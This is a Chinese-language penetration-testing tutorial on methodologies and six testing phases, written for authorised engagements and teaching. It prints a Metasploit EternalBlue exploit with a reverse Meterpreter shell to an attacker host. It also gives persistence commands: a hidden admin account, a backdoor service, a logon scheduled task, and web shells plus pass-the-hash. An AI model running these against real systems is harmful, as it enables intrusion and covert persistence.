渗透测试基础:渗透测试方法论与阶段划分

做渗透测试这么多年,我最大的体会是:没有方法论,就是瞎打。新人容易犯的毛病——拿到目标就开扫,扫出一堆漏洞就兴奋,结果报告交上去,客户一问「攻击链路是什么?」「这个漏洞能利用到什么程度?」就哑火了。

这一章咱们把渗透测试的方法论和阶段划分捋清楚。嗯,这些框架不是纸上谈兵,是我在真实项目中反复验证过的。

主流渗透测试方法论

行业内公认的几套方法论,说白了就是「干活的标准流程」。我建议你至少熟悉三种:

核心原则:没有方法论的渗透测试,等于盲人摸象。

客户信任你,不是因为你扫描器多,而是因为你知道每一步在干什么。

方法论 来源 特点 适用场景
PTES 渗透测试执行标准 7个阶段,覆盖全面 企业级全量测试
OWASP测试指南 OWASP 聚焦Web应用 Web渗透、API测试
NIST SP 800-115 美国NIST 偏重方法论与合规 合规审计、政府项目
OSSTMM 开源安全测试方法论 偏重操作安全与指标 通信安全、物理安全

我个人习惯用PTES打底,再根据目标类型补充OWASP或NIST的细节。举个例子,有一次做金融客户的全面渗透,对方明确要求「按PTES来」,因为审计要查流程文档——你中间少一个阶段,报告都不好出。

渗透测试的六个核心阶段

不管用哪套方法论,底层逻辑都差不多。我把它归纳为六个阶段,你想想看,是不是跟打仗一个道理?

  1. 信息收集(Recon)——知己知彼
  2. 威胁建模与漏洞分析——找弱点
  3. 漏洞利用(Exploitation)——打进去
  4. 后渗透(Post-Exploitation)——站稳脚跟
  5. 权限维持与横向移动——扩大战果
  6. 报告与清理——收尾复盘

经验之谈:阶段之间不是严格的线性关系。我在项目中经常需要「信息收集→利用→再收集→再利用」循环。但报告里必须按阶段写,因为客户只看结构。

下面咱们一个一个说。

阶段一:信息收集(被动与主动)

这步决定了你能打到多深。我曾经见过一个团队,信息收集只做了域名解析和端口扫描,结果漏掉了目标在GitHub上的源码泄露——那个泄露里直接摆着数据库密码。

信息收集分两类:

  • 被动收集:不接触目标系统。用Shodan、Censys、Google Dork、证书透明度日志(Certificate Transparency Logs)等。我建议先做被动,因为不会触发任何告警。
  • 主动收集:直接扫描目标。Nmap、Masscan、gobuster、目录爆破等。注意:一定要先获得授权再扫。

举个例子,你可以用这个命令查目标子域名下的SSL证书信息:

# 通过证书透明度获取子域名
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u

嗯,证书信息里经常藏着内网域名、测试站点,甚至未上线的服务。这是我们做边界穿透的一个突破口。

阶段二:威胁建模与漏洞分析

拿到信息之后,别急着打。停下来画一张攻击面图。把目标的所有入口、资产、信任关系列出来。

常用的方法有:

  • 攻击树(Attack Tree):根节点是最终目标,子节点是前置条件。
  • 数据流图(DFD):标出数据从哪里进来、存哪里、到哪里去。
  • STRIDE模型:微软的威胁分类——欺骗、篡改、抵赖、信息泄露、拒绝服务、权限提升。

实际操作中,我会把扫描结果导入漏洞管理平台(比如Nessus或OpenVAS的报表),然后手动验证每一个高危漏洞。为什么?因为扫描器误报率很高。我记得有一次Nessus报了个「远程代码执行」,结果是旧版本Tomcat默认页面误报——浪费了整整半天。

注意:千万别把扫描结果直接当漏洞清单。验证!验证!验证!我曾经遇到过客户拿着扫描报告质问:「你们怎么没发现这个漏洞?」一看,是个扫描器误报,但人家只看报告标题。

阶段三:漏洞利用(Exploitation)

这一步是大家最「爽」的环节。但我的忠告是:先规划好回退路径。一旦打进去,你需要知道如何撤退不留痕迹。

常用的利用手法:

  • Web漏洞:SQL注入、文件上传、反序列化
  • 系统漏洞:永恒之蓝、提权漏洞
  • 弱密码:暴力破解、凭证重用
  • 中间人攻击:ARP欺骗、DNS劫持(内网场景)

举个例子,Metasploit里利用一个SMB漏洞:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.100
msf6 > exploit

打进去之后,Meterpreter的session就建立了。但别高兴太早——后渗透才是真正的战场。

阶段四:后渗透(Post-Exploitation)

拿到初始权限后,你需要评估这个Shell能干什么。我习惯先跑一个信息收集脚本:

meterpreter > sysinfo
meterpreter > getuid
meterpreter > ifconfig
meterpreter > shell    # 进入系统终端
C:\Users\user> whoami /all
C:\Users\user> netstat -ano

重点看:当前用户权限、网络连接、域环境、杀软/EDR、是否在堡垒机或跳板机上。如果是普通用户权限,下一步就是提权。

后渗透我最怕什么?就是权限拿到了但被EDR发现。有一次在客户生产网里,我刚执行了whoami,EDR就报警了。客户紧急切断所有网络,我的session直接掉了……嗯,从那以后我学会了先检查进程里有没有监控软件,再执行任何命令。

阶段五:权限维持与横向移动

权限维持就是想办法让自己能回来。常见的做法:

  • 创建隐藏账户:net user sysadm$ P@ssw0rd /add
  • 安装后门服务:sc create backdoor binPath= "C:\xxx.exe"
  • 添加计划任务:schtasks /create /tn "Update" /tr "powershell ..." /sc onlogon
  • 利用Web Shell:上传小马,保持HTTP通道

横向移动则依赖于凭证获取。我在内网中常用「哈希传递」:抓到了本地管理员hash,直接Hash传递到另一台机器。

避坑指南:别在所有机器上用同一个后门。会被查杀。我曾经在横向移动时用了同样的端口和密钥,结果被客户的安全运营中心(SOC)直接关联了所有告警——一个大礼包。

阶段六:报告与清理

测试结束,一定要做三件事:

  1. 清理所有后门、用户、计划任务、Web Shell。我每次写完报告前会对照笔记逐条清理,然后让同伴复查一遍。有一次清理不干净,客户后来发现了一台机器的异常计划任务,差点惹官司。
  2. 还原系统配置。改过的防火墙规则、启用的服务、修改的注册表,全部恢复。
  3. 编写报告。报告要有攻击链路图、漏洞详情(风险等级、CVE编号、复现步骤)、修复建议。

报告的质量直接影响客户对你的专业度判断。我见过太多团队测得很漂亮,但报告写得跟流水账一样——结果客户不买账。

核心知识结构图

下面这张SVG把六个阶段、各阶段的关键动作和输入输出串起来了。你可以对照这张图理清思路。

渗透测试核心阶段与关键动作 1. 信息收集 被动: CT Log, Shodan 主动: Nmap, 目录爆破 2. 威胁建模 攻击树/DFD 漏洞分析/验证 3. 漏洞利用 SQL注入/RCE 弱密码/提权 4. 后渗透 信息收集/提权 规避EDR/监控 5. 横向移动 哈希传递/凭证 权限维持 6. 报告与清理 清理痕迹 编写攻击链路 迭代/回溯 说明 每个阶段输出都是下一阶段的输入,但实际项目中常需回退到前面阶段补充信息。 各阶段典型输出 IP列表 / 漏洞清单 / Shell / 凭证 / 报告 常见误区 跳过验证 / 不做清理 / 报告敷衍

阶段划分的实战意义

你可能会问:分这么细有必要吗?我直接把所有工具跑一遍不行吗?

我的回答是:分阶段不是为了好看,是为了可控。

举个例子。某次做红队演练,我们按阶段推进。信息收集阶段发现目标一个老旧Tomcat服务器(版本号暴露)。漏洞分析阶段确认它存在反序列化漏洞。利用阶段用ysoserial打进去,拿到一个普通用户权限。后渗透阶段提权到SYSTEM。整个过程客户SOC完全没有察觉,因为每一步我们都绕开了监控规则。

反观另一支团队,上来就开Metasploit全量扫描,结果被客户IPS直接阻断,IP被拉黑——整个测试还没开始就结束了。

我的习惯:每个阶段开始前,花5分钟把阶段目标和退出条件写在便签上。贴屏幕旁边。做完一个划掉一个。这样既不会忘记清理,也知道何时可以进入下一阶段。

总结一下关键点

  • 方法论不是束缚,是保护伞——保护你不出纰漏,保护客户不被折腾。
  • 六个阶段可以循环迭代,但报告里必须线性呈现。
  • 信息收集决定上限,后渗透决定下限。一半以上的时间应该花在信息收集上。
  • 清理痕迹 永不妥协。签了保密协议就要对得起这份信任。